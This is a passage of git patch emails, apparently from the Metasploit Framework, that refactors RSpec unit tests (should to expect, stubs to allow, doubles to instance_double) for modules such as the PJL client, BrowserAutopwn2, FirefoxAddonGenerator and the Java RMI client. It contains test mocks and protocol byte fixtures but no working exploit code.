invalid hostname and CIDR" do let(:args) { "@!*^&.invalid-hostname-really./24" } - it { should_not be_valid } + it { is_expected.not_to be_valid } end context "with an IPv6 address range containing a scope" do diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index 5dcf1ab5cc..7002f5db7b 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -12,7 +12,7 @@ module Shoulda # :nodoc: # Examples: # it { is_expected.to query_the_database(4.times).when_calling(:complicated_counting_method) # it { is_expected.to query_the_database(4.times).or_less.when_calling(:generate_big_report) - # it { should_not query_the_database.when_calling(:cached_count) + # it { is_expected.not_to query_the_database.when_calling(:cached_count) # def query_the_database(times = nil) QueryTheDatabaseMatcher.new(times) From 53f5c019f96a149434bd7f9f36d13dddf9d01e77 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:45:17 -0500 Subject: [PATCH 1510/2172] Fix doubles MSP-13484 --- spec/tools/virustotal_spec.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index dae40af00a..0a4572f504 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -86,7 +86,7 @@ RSpec.describe VirusTotalUtility do let(:vt) do file = double(File, read: malware_data) - expect(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} + allow(File).to receive(:open).with(filename, 'rb') {|&block| block.yield file} VirusTotalUtility::VirusTotal.new({'api_key'=>api_key, 'sample'=>filename}) end @@ -203,17 +203,19 @@ RSpec.describe VirusTotalUtility do expect(VirusTotalUtility::OptsConsole).to receive(:parse).with(anything).and_return(options) + tool_config = instance_double( + VirusTotalUtility::ToolConfig, + has_privacy_waiver?: true, + load_api_key: api_key, + save_api_key: nil, + save_privacy_waiver: nil + ) - tool_config = double("tool_config") expect(VirusTotalUtility::ToolConfig).to receive(:new).and_return(tool_config) - expect(tool_config).to receive(:has_privacy_waiver?).and_return(true) - expect(tool_config).to receive(:load_api_key).and_return(api_key) - expect(tool_config).to receive(:save_privacy_waiver) - expect(tool_config).to receive(:save_api_key).with(anything) d = nil - out = get_stdout { + get_stdout { d = VirusTotalUtility::Driver.new } From 4f23b83fa33bc44fb93a0d9d3011b9042e79551b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:48:08 -0500 Subject: [PATCH 1511/2172] .should\n -> expect().to MSP-13484 --- spec/lib/rex/text_spec.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e13fc2b412..e6c3b50cda 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -24,15 +24,17 @@ RSpec.describe Rex::Text do context ".to_ibm1047" do it "should convert ASCII to mainfram EBCDIC (cp1047)" do - described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should - eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") + expect( + described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) + ).to eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") end end context ".from_1047" do it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do - described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should - eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") + expect( + described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) + ).to eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") end end From f48f8c154075bf6b3533253e2411c3723c25caab Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:51:23 -0500 Subject: [PATCH 1512/2172] Use `be` before operators MSP-13484 --- spec/lib/rex/random_identifier_generator_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 1ee093db9e..e08b24b6a6 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -17,13 +17,13 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#generate" do it "should respect :min_length" do 1000.times do - expect(rig.generate.length).to >= options[:min_length] + expect(rig.generate.length).to be >= options[:min_length] end end it "should respect :max_length" do 1000.times do - expect(rig.generate.length).to <= options[:max_length] + expect(rig.generate.length).to be <= options[:max_length] end end From 99eaa8efb38f8c8f25768502852b6fb1a037f5f5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:54:32 -0500 Subject: [PATCH 1513/2172] Change some expects back to allows to match old stubs MSP-13484 --- spec/lib/rex/proto/pjl/client_spec.rb | 32 +++++++++++++-------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 734106b398..697a6d48c5 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -11,8 +11,8 @@ RSpec.describe Rex::Proto::PJL::Client do let(:sock) do s = double("sock") - expect(s).to receive(:put).with(an_instance_of(String)) - expect(s).to receive(:get).and_return(default_response) + allow(s).to receive(:put).with(an_instance_of(String)) + allow(s).to receive(:get).and_return(default_response) s end @@ -51,7 +51,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_id" do it "should return the version information" do fake_version = '"1337"' - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) expect(cli.info_id).to eq('1337') end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_variables" do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) expect(cli.info_variables).to eq('PASSWORD=DISABLED') end end @@ -67,7 +67,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#info_filesys" do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) expect(cli.info_filesys).to eq('DIR') end end @@ -75,7 +75,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#get_rdymsg" do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) expect(cli.get_rdymsg).to eq('RES') end end @@ -104,8 +104,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should query a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsquery("1:")).to eq(true) end @@ -119,8 +119,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a LIST directory response" do response = "ENTRY=1\r\nDIR\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdirlist("1:")).to eq('DIR') end @@ -134,8 +134,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a file" do response = "SIZE=1337\r\nFILE\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsupload("1:")).to eq('FILE') end @@ -149,8 +149,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should upload a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdownload("/dev/null", "1:")).to eq(true) end @@ -164,8 +164,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should delete a file" do response = "FILEERROR=3\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdelete("1:")).to eq(true) end From c46b97cef9799dda9c59fe7f12cd627be907aa97 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:55:59 -0500 Subject: [PATCH 1514/2172] =~ <Array> -> match_array MSP-13484 --- spec/lib/rex/proto/http/response_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index b6d8a2666c..d27487071b 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -335,7 +335,7 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns 5 cookies when given 5 cookies non-sequentially' do cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) expect(cookies_array.count).to eq(5) - expect(cookies_array).to =~ %w( + expect(cookies_array).to match_array %w( pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D From db42c9f760093d6b9f4f512419a540c90646505a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 15:37:34 -0500 Subject: [PATCH 1515/2172] Fix service double stubbing MSP-13484 --- spec/lib/msf/core/exploit/http/server_spec.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index ae34fc7297..b3c10e7af7 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -16,11 +16,9 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = double 'service', - add_resource: nil, - :'server_name' => nil - - mock_service + double 'service', + add_resource: nil, + :'server_name=' => nil end before do From fbddd4cc47409768e5b136380324362e4eda56d7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:19:45 -0500 Subject: [PATCH 1516/2172] Fix IO stubbing MSP-13484 --- .../exploit/remote/java/rmi/client_spec.rb | 39 ++++++++++++------- 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index 55ea3f837d..e696b19364 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -13,7 +13,13 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do mod end - let(:io) { StringIO.new('', 'w+b') } + let(:io) { + StringIO.new('', 'w+b').tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:protocol_not_supported) { "\x4f" } let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } @@ -38,20 +44,27 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { StringIO.new(return_data) } + + let(:return_io) { + StringIO.new(return_data).tap { |string_io| + def string_io.get_once + read + end + } + } before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end + # allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + # io.write(data) + # end + # + # allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + # io.read + # end + # + # allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + # false + # end end describe "#send_header" do From 164f24ef8a349ca23fa130a12b07936ff67e98f4 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:20:12 -0500 Subject: [PATCH 1517/2172] Fix stubbing on class instead of instance MSP-13484 --- spec/tools/msu_finder_spec.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index da382cacd9..9b93a5fdf7 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -301,15 +301,15 @@ RSpec.describe MicrosoftPatchFinder do end let(:download_html_res) do - html = %Q| - <html> - <a href="#{expected_link}">Click here</a> - </html> - | - - res = Rex::Proto::Http::Response - allow(res).to receive(:body).and_return(html) - res + Rex::Proto::Http::Response.new.tap { |response| + allow(response).to receive(:body).and_return( + %Q| + <html> + <a href="#{expected_link}">Click here</a> + </html> + | + ) + } end it 'returns an array of links' do From 00ad6afd4f0731207078552dcf276260655b4a2a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:25:13 -0500 Subject: [PATCH 1518/2172] Fix typo shoftname -> shortname MSP-13484 --- spec/lib/msf/core/exploit/browser_autopwn2_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 0192c6c71f..a8a335a579 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -179,7 +179,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do datastores['WORKSPACE'] = workspace allow(p).to receive(:fullname).and_return(fullname) - allow(p).to receive(:shoftname).and_return(shortname) + allow(p).to receive(:shortname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) allow(p).to receive(:exploit_simple) From 2d8d876eaad09710070d2a63736a4e0671539cf8 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 12:40:37 -0500 Subject: [PATCH 1519/2172] Fix allow errors in BrowserAutopwn2 specs MSP-13484 --- .../msf/core/exploit/browser_autopwn2_spec.rb | 74 +++++++++++++------ 1 file changed, 53 insertions(+), 21 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index a8a335a579..4efb6884b3 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -44,22 +44,16 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do note end - def mock_stop_job(arg) - framework = double('Msf::Framework', datastore: {}) - jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s} - allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } - allow(framework).to receive(:jobs).and_return(jobs) - allow(subject).to receive(:framework).and_return(framework) - end - def create_fake_job(id) - ctx = double('ctx') - handler = create_fake_windows_meterpreter - allow(ctx).to receive(:first).and_return(handler) - job = [id.to_s, double('job')] - allow(job).to receive(:ctx).and_return(ctx) - - job + instance_double( + Rex::Job, + ctx: double( + 'ctx', + first: create_fake_windows_meterpreter + ), + jid: id, + stop: nil + ) end def create_fake_exploit(opts={}) @@ -75,6 +69,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) + mod.extend(Msf::Simple::Exploit) allow(mod).to receive(:fullname).and_return(full_name) allow(mod).to receive(:rank).and_return(rank) @@ -181,7 +176,6 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shortname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) - allow(p).to receive(:exploit_simple) p end @@ -371,21 +365,56 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do allow(framework).to receive(:exploits).and_return(exploits) # Prepare jobs - jobs = {'0' => create_fake_job(0)} - allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + jobs = instance_double(Rex::JobContainer) + job_by_id = { + '0' => create_fake_job(0) + } + + allow(jobs).to receive(:[]).with('0').and_return(job_by_id['0']) + allow(jobs).to receive(:each) { |&block| + job_by_id.each(&block) + } + allow(jobs).to receive(:empty?) { + job_by_id.empty? + } + allow(jobs).to receive(:length) { + job_by_id.length + } + allow(jobs).to receive(:stop_job) { |job_number| + job_id = job_number.to_s + job = job_by_id[job_id] + + if job + job.stop + + job_by_id.delete(job_id) + end + } + allow(framework).to receive(:jobs).and_return(jobs) # Prepare payloads - payloads = {} + payloads = instance_double(Msf::PayloadSet) + payload_class_by_reference_name = {} + + allow(payloads).to receive(:[]=) do |reference_name, klass| + payload_class_by_reference_name[reference_name] = klass + end + + allow(payloads).to receive(:keys) { + payload_class_by_reference_name.keys + } + available_payloads.each do |p| payloads[p.fullname] = "__SYMBOLIC__" end + allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } allow(framework).to receive(:payloads).and_return(payloads) allow_any_instance_of(described_class).to receive(:cli).and_return(cli) - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + allow_any_instance_of(Msf::Exploit).to receive(:framework).and_return(framework) allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end @@ -435,8 +464,11 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do end describe '#rm_payload_jobs' do - it 'empties jobs' do + before(:each) do subject.instance_variable_set(:@payload_job_ids, job_ids) + end + + it 'empties jobs' do expect(subject.framework.jobs.length).to eq(1) subject.rm_payload_jobs expect(subject.framework.jobs).to be_empty From 61e1dc2363e2e5c62a02d69cfd36d9772834623d Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 12:52:20 -0500 Subject: [PATCH 1520/2172] Fix allows in FirefoxAddonGenerator spec MSP-13484 --- .../remote/firefox_addon_generator_spec.rb | 51 +++++++++++-------- 1 file changed, 29 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index 88d8515714..cabfe83aa6 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -2,31 +2,38 @@ require 'spec_helper' require 'msf/core' RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do - let(:datastore) { { 'TARGET' => 0 } } - let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } - let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } - let(:framework) { double(:nops => nil) } - let(:cli) { double } - - subject(:mod) do - mod = Msf::Exploit::Remote.allocate - mod.extend described_class - mod.extend Msf::Exploit::Remote::BrowserExploitServer - mod.send(:initialize, {}) - - allow(mod).to receive(:datastore).and_return(datastore) - allow(mod).to receive(:framework).and_return(framework) - allow(mod).to receive(:payload).and_return(payload) - allow(mod).to receive(:regenerate_payload).and_return(payload) + subject(:instance) do + klass.new.tap { |instance| + allow(instance).to receive(:datastore).and_return(datastore) + allow(instance).to receive(:framework).and_return(framework) + allow(instance).to receive(:payload).and_return(payload) + allow(instance).to receive(:regenerate_payload).and_return(payload) + } end + let(:cli) { double } + let(:datastore) { { 'TARGET' => 0 } } + let(:framework) { double(:nops => nil) } + let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } + + let(:klass) { + context_described_class = described_class + + Class.new(Msf::Exploit::Remote) do + include Msf::Exploit::Remote::BrowserExploitServer + include context_described_class + end + } + + let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } + + it { is_expected.to respond_to :generate_addon_xpi } + describe '#generate_addon_xpi' do - let(:xpi) { mod.generate_addon_xpi(cli) } + subject(:xpi) { + instance.generate_addon_xpi(cli) + } - it { is_expected.to respond_to :generate_addon_xpi } - - it 'should return an instance of Rex::Zip::Archive' do - expect(xpi).to be_kind_of Rex::Zip::Archive - end + it { is_expected.to be_a Rex::Zip::Archive } end end From c754dca48bb0abffe93ab537db3ff9a6e8d608d9 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:17:59 -0500 Subject: [PATCH 1521/2172] fix allows in Exploit::Remote::JAva::Rmi::Client spec MSP-13484 --- .../exploit/remote/java/rmi/client_spec.rb | 148 +++++++++++------- 1 file changed, 89 insertions(+), 59 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index e696b19364..92de508daf 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -6,109 +6,139 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client - mod.send(:initialize) - mod - end + subject(:instance) { + klass.new + } + + let(:klass) { + context_described_class = described_class + + Class.new(Msf::Exploit) do + include context_described_class + end + } let(:io) { StringIO.new('', 'w+b').tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + def string_io.put(data) write data end end } - let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } - let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { StringIO.new(protocol_ack) } - let(:return_data) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + - "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + - "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + - "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + - "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + - "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + - "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + - "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + - "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + - "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + - "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + - "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + - "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + - "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + - "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + - "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" - end - - let(:return_io) { - StringIO.new(return_data).tap { |string_io| - def string_io.get_once - read - end - } - } - - before(:each) do - # allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - # io.write(data) - # end - # - # allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - # io.read - # end - # - # allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - # false - # end - end describe "#send_header" do it "returns the number of bytes sent" do - expect(mod.send_header(sock: io)).to eq(13) + expect(instance.send_header(sock: io)).to eq(13) end end describe "#send_call" do it "returns the number of bytes sent" do - expect(mod.send_call(sock: io)).to eq(41) + expect(instance.send_call(sock: io)).to eq(41) end end describe "#send_dgc_ack" do it "returns the number of bytes sent" do - expect(mod.send_dgc_ack(sock: io)).to eq(15) + expect(instance.send_dgc_ack(sock: io)).to eq(15) end end describe "#recv_protocol_ack" do context "when end point returns protocol ack" do + let(:protocol_ack) { + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" + } + + let(:protocol_ack_io) { + StringIO.new(protocol_ack).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do - expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + expect(instance.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) end end context "when end point returns protocol not supported" do + let(:protocol_not_supported) { "\x4f" } + + let(:protocol_not_supported_io) { + StringIO.new(protocol_not_supported).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "return nil" do - expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + expect(instance.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil end end end describe "#recv_return" do context "when end point returns a value to the call" do + let(:return_data) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + 